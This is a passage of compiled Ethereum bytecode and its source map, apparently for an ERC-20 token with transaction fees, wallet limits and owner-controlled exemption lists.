aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac190612451565b60405180910390fd5b600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b6d611c86565b610b776000611de9565b565b610b81611c86565b60005b82829050811015610bd257610bbf838383818110610ba557610ba4612471565b5b9050602002016020810190610bba91906122bc565b61088f565b8080610bca906124cf565b915050610b84565b505050565b610bdf611c86565b612710600181905550612710600281905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f484b500000000000000000000000000000000000000000000000000000000000815250905090565b6000610d46610c90610f5f565b84610d4185604051806060016040528060258152602001612d2e6025913960046000610cba610f5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b610f67565b6001905092915050565b6000610d64610d5d610f5f565b8484611130565b6001905092915050565b6000600760149054906101000a900460ff16905090565b6000610db2612710610da4600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e70611c86565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612589565b60405180910390fd5b610ee881611de9565b50565b610ef3611c86565b60005b82829050811015610f4457610f31838383818110610f1757610f16612471565b5b9050602002016020810190610f2c91906122bc565b61094f565b8080610f3c906124cf565b915050610ef6565b505050565b60008183610f5791906125a9565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd9061264f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c906126e1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111239190612217565b60405180910390a3505050565b61113b838383611ed9565b600080611146610c1d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156111b45750611184610c1d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561172957600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561125d5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561172857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561130d5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113635750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113b95750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b3576113e96127106113db600154600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b83111561142b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142290612773565b60405180910390fd5b611456612710611448600254600554611ead90919063ffffffff16565b611ec390919063ffffffff16565b6114718461146387610b1c565b610f4990919063ffffffff16565b11156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612805565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561155e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115fe5761158c61271061157e600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506115b76127106115a9600c5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561168757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611727576116b56127106116a7600a5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b91506116e06127106116d2600b5486611ead90919063ffffffff16565b611ec390919063ffffffff16565b905043600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b600061173e8284610f4990919063ffffffff16565b905060008111156118dd57600083111561175d5761175c8684611ae3565b5b60008211156118c7576117da8260036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b60036000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118be9190612217565b60405180910390a35b6118da8185611fff90919063ffffffff16565b93505b61194984604051806060016040528060268152602001612ce060269139600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119de84600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611a7e9190612217565b60405180910390a3505050505050565b6000838311158290611ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acd91906120a5565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4990612897565b60405180910390fd5b611bbe81604051806060016040528060228152602001612cbe60229139600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8e9092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1681600554611fff90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7a9190612217565b60405180910390a35050565b611c8e610f5f565b73ffffffffffffffffffffffffffffffffffffffff16611cac610c1d565b73ffffffffffffffffffffffffffffffffffffffff1614611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf990612903565b60405180910390fd5b565b611d3130600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f67565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611d7d610c1d565b426040518863ffffffff1660e01b8152600401611d9f96959493929190612968565b60606040518083038185885af1158015611dbd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611de291906129de565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611ebb9190612a31565b905092915050565b60008183611ed19190612aa2565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3f90612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae90612bd7565b60405180910390fd5b60008111611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff190612c69565b60405180910390fd5b505050565b6000818361200d9190612c89565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204f578082015181840152602081019050612034565b60008484015250505050565b6000601f19601f8301169050919050565b600061207782612015565b6120818185612020565b9350612091818560208601612031565b61209a8161205b565b840191505092915050565b600060208201905081810360008301526120bf818461206c565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120fc826120d1565b9050919050565b61210c816120f1565b811461211757600080fd5b50565b60008135905061212981612103565b92915050565b6000819050919050565b6121428161212f565b811461214d57600080fd5b50565b60008135905061215f81612139565b92915050565b6000806040838503121561217c5761217b6120c7565b5b600061218a8582860161211a565b925050602061219b85828601612150565b9150509250929050565b60008115159050919050565b6121ba816121a5565b82525050565b60006020820190506121d560008301846121b1565b92915050565b6000602082840312156121f1576121f06120c7565b5b60006121ff84828501612150565b91505092915050565b6122118161212f565b82525050565b600060208201905061222c6000830184612208565b92915050565b60008060006060848603121561224b5761224a6120c7565b5b60006122598682870161211a565b935050602061226a8682870161211a565b925050604061227b86828701612150565b9150509250925092565b600060ff82169050919050565b61229b81612285565b82525050565b60006020820190506122b66000830184612292565b92915050565b6000602082840312156122d2576122d16120c7565b5b60006122e08482850161211a565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261230e5761230d6122e9565b5b8235905067ffffffffffffffff81111561232b5761232a6122ee565b5b602083019150836020820283011115612347576123466122f3565b5b9250929050565b60008060208385031215612365576123646120c7565b5b600083013567ffffffffffffffff811115612383576123826120cc565b5b61238f858286016122f8565b92509250509250929050565b6123a4816120f1565b82525050565b60006020820190506123bf600083018461239b565b92915050565b600080604083850312156123dc576123db6120c7565b5b60006123ea8582860161211a565b92505060206123fb8582860161211a565b9150509250929050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061243b600f83612020565b915061244682612405565b602082019050919050565b6000602082019050818103600083015261246a8161242e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124da8261212f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361250c5761250b6124a0565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612573602683612020565b915061257e82612517565b604082019050919050565b600060208201905081810360008301526125a281612566565b9050919050565b60006125b48261212f565b91506125bf8361212f565b92508282019050808211156125d7576125d66124a0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612639602483612020565b9150612644826125dd565b604082019050919050565b600060208201905081810360008301526126688161262c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006126cb602283612020565b91506126d68261266f565b604082019050919050565b600060208201905081810360008301526126fa816126be565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6e742e0000000000000000000000000000000000000000000000000000602082015250565b600061275d602683612020565b915061276882612701565b604082019050919050565b6000602082019050818103600083015261278c81612750565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f60008201527f756e740000000000000000000000000000000000000000000000000000000000602082015250565b60006127ef602383612020565b91506127fa82612793565b604082019050919050565b6000602082019050818103600083015261281e816127e2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612881602183612020565b915061288c82612825565b604082019050919050565b600060208201905081810360008301526128b081612874565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128ed602083612020565b91506128f8826128b7565b602082019050919050565b6000602082019050818103600083015261291c816128e0565b9050919050565b6000819050919050565b6000819050919050565b600061295261294d61294884612923565b61292d565b61212f565b9050919050565b61296281612937565b82525050565b600060c08201905061297d600083018961239b565b61298a6020830188612208565b6129976040830187612959565b6129a46060830186612959565b6129b1608083018561239b565b6129be60a0830184612208565b979650505050505050565b6000815190506129d881612139565b92915050565b6000806000606084860312156129f7576129f66120c7565b5b6000612a05868287016129c9565b9350506020612a16868287016129c9565b9250506040612a27868287016129c9565b9150509250925092565b6000612a3c8261212f565b9150612a478361212f565b9250828202612a558161212f565b91508282048414831517612a6c57612a6b6124a0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612aad8261212f565b9150612ab88361212f565b925082612ac857612ac7612a73565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b2f602583612020565b9150612b3a82612ad3565b604082019050919050565b60006020820190508181036000830152612b5e81612b22565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc1602383612020565b9150612bcc82612b65565b604082019050919050565b60006020820190508181036000830152612bf081612bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c53602983612020565b9150612c5e82612bf7565b604082019050919050565b60006020820190508181036000830152612c8281612c46565b9050919050565b6000612c948261212f565b9150612c9f8361212f565b9250828203905081811115612cb757612cb66124a0565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220449e8355b1210e6e4955261ae1e5375e52d94d35b561ba52e6d7ed7b0b576a2964736f6c63430008120033

Deployed Bytecode Sourcemap

15454:11150:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26486:10;;;;;;;;;;15454:11150;;;;;17683:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18533:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24819:357;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17960:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19346:315;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17869:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18706:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24059:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19669:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26188:178;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19953:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18068:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2668:103;;;;;;;;;;;;;:::i;:::-;;19787:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20414:134;;;;;;;;;;;;;:::i;:::-;;25426:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2020:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17774;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18932:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18195:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26374:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19209:129;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23942:109;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18374:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2926:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20250:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17683:83;17720:13;17753:5;;;;;;;;;;;;;;;;;17746:12;;17683:83;:::o;18533:165::-;18614:4;18631:37;18640:12;:10;:12::i;:::-;18654:7;18663:4;18631:8;:37::i;:::-;18686:4;18679:11;;18533:165;;;;:::o;24819:357::-;24916:15;24910:22;24900:8;24897:36;24887:62;;24946:1;24943;24936:12;24887:62;24976:4;24970:11;25003:8;24998:3;24991:21;25045:14;25038:4;25033:3;25029:14;25022:38;25097:4;25092:3;25082:20;25125:4;25119;25112:18;25161:6;25147:12;25140:28;24886:283;;24819:357;:::o;17960:100::-;18013:7;18040:12;;18033:19;;17960:100;:::o;19346:315::-;19450:4;19467:34;19477:6;19485:9;19496:4;19467:9;:34::i;:::-;19512:119;19521:6;19529:12;:10;:12::i;:::-;19543:87;19581:4;19543:87;;;;;;;;;;;;;;;;;:11;:19;19555:6;19543:19;;;;;;;;;;;;;;;:33;19563:12;:10;:12::i;:::-;19543:33;;;;;;;;;;;;;;;;:37;;:87;;;;;:::i;:::-;19512:8;:119::i;:::-;19649:4;19642:11;;19346:315;;;;;:::o;17869:83::-;17910:5;15693:2;17928:16;;17869:83;:::o;18706:218::-;18794:4;18811:83;18820:12;:10;:12::i;:::-;18834:7;18843:50;18882:10;18843:11;:25;18855:12;:10;:12::i;:::-;18843:25;;;;;;;;;;;;;;;:34;18869:7;18843:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;18811:8;:83::i;:::-;18912:4;18905:11;;18706:218;;;;:::o;24059:87::-;24113:25;24119:12;:10;:12::i;:::-;24133:4;24113:5;:25::i;:::-;24059:87;:::o;19669:110::-;1906:13;:11;:13::i;:::-;19767:4:::1;19738:17;:26;19756:7;19738:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;19669:110:::0;:::o;26188:178::-;1906:13;:11;:13::i;:::-;26550:4:::1;26539:8;;:15;;;;;;;;;;;;;;;;;;26274:41:::2;26284:7;:5;:7::i;:::-;26301:4;26308:6;26274:9;:41::i;:::-;26326:32;26340:6;26348:9;26326:13;:32::i;:::-;26588:5:::1;26577:8;;:16;;;;;;;;;;;;;;;;;;26188:178:::0;:::o;19953:289::-;1906:13;:11;:13::i;:::-;20048:4:::1;20029:24;;:7;:24;;::::0;20021:52:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20103:7;:5;:7::i;:::-;20092:18;;:7;:18;;::::0;20084:46:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20160:10;;;;;;;;;;;20149:21;;:7;:21;;::::0;20141:49:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;20208:17;:26;20226:7;20208:26;;;;;;;;;;;;;;;;20201:33;;;;;;;;;;;19953:289:::0;:::o;18068:119::-;18134:7;18161:9;:18;18171:7;18161:18;;;;;;;;;;;;;;;;18154:25;;18068:119;;;:::o;2668:103::-;1906:13;:11;:13::i;:::-;2733:30:::1;2760:1;2733:18;:30::i;:::-;2668:103::o:0;19787:158::-;1906:13;:11;:13::i;:::-;19872:6:::1;19868:69;19888:8;;:15;;19884:1;:19;19868:69;;;19910:27;19925:8;;19934:1;19925:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;19910:14;:27::i;:::-;19905:3;;;;;:::i;:::-;;;;19868:69;;;;19787:158:::0;;:::o;20414:134::-;1906:13;:11;:13::i;:::-;20489:5:::1;20466:20;:28;;;;20535:5;20505:27;:35;;;;20414:134::o:0;25426:96::-;25473:7;25500:14;;;;;;;;;;;25493:21;;25426:96;:::o;2020:87::-;2066:7;2093:6;;;;;;;;;;;2086:13;;2020:87;:::o;17774:::-;17813:13;17846:7;;;;;;;;;;;;;;;;;17839:14;;17774:87;:::o;18932:269::-;19025:4;19042:129;19051:12;:10;:12::i;:::-;19065:7;19074:96;19113:15;19074:96;;;;;;;;;;;;;;;;;:11;:25;19086:12;:10;:12::i;:::-;19074:25;;;;;;;;;;;;;;;:34;19100:7;19074:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;19042:8;:129::i;:::-;19189:4;19182:11;;18932:269;;;;:::o;18195:171::-;18279:4;18296:40;18306:12;:10;:12::i;:::-;18320:9;18331:4;18296:9;:40::i;:::-;18354:4;18347:11;;18195:171;;;;:::o;26374:70::-;26418:4;26433:8;;;;;;;;;;;26426:15;;26374:70;:::o;19209:129::-;19251:7;19278:52;16205:5;19278:38;19295:20;;19278:12;;:16;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;19271:59;;19209:129;:::o;23942:109::-;23991:7;24026:16;;;;;;;;;;;24011:32;;23942:109;:::o;18374:151::-;18463:7;18490:11;:18;18502:5;18490:18;;;;;;;;;;;;;;;:27;18509:7;18490:27;;;;;;;;;;;;;;;;18483:34;;18374:151;;;;:::o;2926:201::-;1906:13;:11;:13::i;:::-;3035:1:::1;3015:22;;:8;:22;;::::0;3007:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3091:28;3110:8;3091:18;:28::i;:::-;2926:201:::0;:::o;20250:156::-;1906:13;:11;:13::i;:::-;20334:6:::1;20330:68;20350:8;;:15;;20346:1;:19;20330:68;;;20372:26;20386:8;;20395:1;20386:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;20372:13;:26::i;:::-;20367:3;;;;;:::i;:::-;;;;20330:68;;;;20250:156:::0;;:::o;10431:98::-;10489:7;10520:1;10516;:5;;;;:::i;:::-;10509:12;;10431:98;;;;:::o;736:82::-;789:7;806:10;799:17;;736:82;:::o;20878:338::-;20995:1;20978:19;;:5;:19;;;20970:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21076:1;21057:21;;:7;:21;;;21049:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21158:4;21128:11;:18;21140:5;21128:18;;;;;;;;;;;;;;;:27;21147:7;21128:27;;;;;;;;;;;;;;;:34;;;;21194:7;21178:30;;21187:5;21178:30;;;21203:4;21178:30;;;;;;:::i;:::-;;;;;;;;20878:338;;;:::o;21892:2042::-;21988:40;22004:6;22012:9;22023:4;21988:15;:40::i;:::-;22039:15;22069:14;22112:7;:5;:7::i;:::-;22102:17;;:6;:17;;;;:41;;;;;22136:7;:5;:7::i;:::-;22123:20;;:9;:20;;;;22102:41;22098:1213;;;22165:17;:25;22183:6;22165:25;;;;;;;;;;;;;;;;;;;;;;;;;22164:26;:59;;;;;22195:17;:28;22213:9;22195:28;;;;;;;;;;;;;;;;;;;;;;;;;22194:29;22164:59;22160:1140;;;22258:14;;;;;;;;;;;22248:24;;:6;:24;;;:66;;;;;22297:16;;;;;;;;;;;22276:38;;:9;:38;;;;22248:66;:100;;;;;22319:18;:29;22338:9;22319:29;;;;;;;;;;;;;;;;;;;;;;;;;22318:30;22248:100;:131;;;;;22353:18;:26;22372:6;22353:26;;;;;;;;;;;;;;;;;;;;;;;;;22352:27;22248:131;22244:455;;;22420:52;16205:5;22420:38;22437:20;;22420:12;;:16;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;22412:4;:60;;22404:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;22580:59;16205:5;22580:45;22597:27;;22580:12;;:16;;:45;;;;:::i;:::-;:49;;:59;;;;:::i;:::-;22546:30;22571:4;22546:20;22556:9;22546;:20::i;:::-;:24;;:30;;;;:::i;:::-;:93;;22538:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;22244:455;22731:14;;;;;;;;;;;22721:24;;:6;:24;;;:66;;;;;22770:16;;;;;;;;;;;22749:38;;:9;:38;;;;22721:66;22717:281;;;22822:32;16205:5;22822:18;22831:8;;22822:4;:8;;:18;;;;:::i;:::-;:22;;:32;;;;:::i;:::-;22812:42;;22886:31;16205:5;22886:17;22895:7;;22886:4;:8;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;22877:40;;22966:12;22940;:23;22953:9;22940:23;;;;;;;;;;;;;;;:38;;;;22717:281;23033:14;;;;;;;;;;;23020:27;;:9;:27;;;:54;;;;;23069:4;23051:23;;:6;:23;;;;23020:54;23016:269;;;23109:32;16205:5;23109:18;23118:8;;23109:4;:8;;:18;;;;:::i;:::-;:22;;:32;;;;:::i;:::-;23099:42;;23173:31;16205:5;23173:17;23182:7;;23173:4;:8;;:17;;;;:::i;:::-;:21;;:31;;;;:::i;:::-;23164:40;;23253:12;23227;:23;23240:9;23227:23;;;;;;;;;;;;;;;:38;;;;23016:269;22160:1140;22098:1213;23321:16;23340:19;23352:6;23340:7;:11;;:19;;;;:::i;:::-;23321:38;;23385:1;23374:8;:12;23370:340;;;23417:1;23407:7;:11;23403:74;;;23439:22;23445:6;23453:7;23439:5;:22::i;:::-;23403:74;23504:1;23495:6;:10;23491:168;;;23550:33;23576:6;23550:9;:21;23560:10;;;;;;;;;;;23550:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;23526:9;:21;23536:10;;;;;;;;;;;23526:21;;;;;;;;;;;;;;;:57;;;;23624:10;;;;;;;;;;;23607:36;;23616:6;23607:36;;;23636:6;23607:36;;;;;;:::i;:::-;;;;;;;;23491:168;23680:18;23689:8;23680:4;:8;;:18;;;;:::i;:::-;23673:25;;23370:340;23742:69;23764:4;23742:69;;;;;;;;;;;;;;;;;:9;:17;23752:6;23742:17;;;;;;;;;;;;;;;;:21;;:69;;;;;:::i;:::-;23722:9;:17;23732:6;23722:17;;;;;;;;;;;;;;;:89;;;;23845:30;23870:4;23845:9;:20;23855:9;23845:20;;;;;;;;;;;;;;;;:24;;:30;;;;:::i;:::-;23822:9;:20;23832:9;23822:20;;;;;;;;;;;;;;;:53;;;;23910:9;23893:33;;23902:6;23893:33;;;23921:4;23893:33;;;;;;:::i;:::-;;;;;;;;21977:1957;;;21892:2042;;;:::o;12710:206::-;12796:7;12854:1;12849;:6;;12857:12;12841:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;12896:1;12892;:5;12885:12;;12710:206;;;;;:::o;21538:346::-;21639:1;21620:21;;:7;:21;;;21612:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21711:66;21734:4;21711:66;;;;;;;;;;;;;;;;;:9;:18;21721:7;21711:18;;;;;;;;;;;;;;;;:22;;:66;;;;;:::i;:::-;21690:9;:18;21700:7;21690:18;;;;;;;;;;;;;;;:87;;;;21803:22;21820:4;21803:12;;:16;;:22;;;;:::i;:::-;21788:12;:37;;;;21867:1;21841:35;;21850:7;21841:35;;;21871:4;21841:35;;;;;;:::i;:::-;;;;;;;;21538:346;;:::o;2185:132::-;2260:12;:10;:12::i;:::-;2249:23;;:7;:5;:7::i;:::-;:23;;;2241:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2185:132::o;25924:256::-;25999:58;26016:4;26031:16;;;;;;;;;;;26050:6;25999:8;:58::i;:::-;26068:1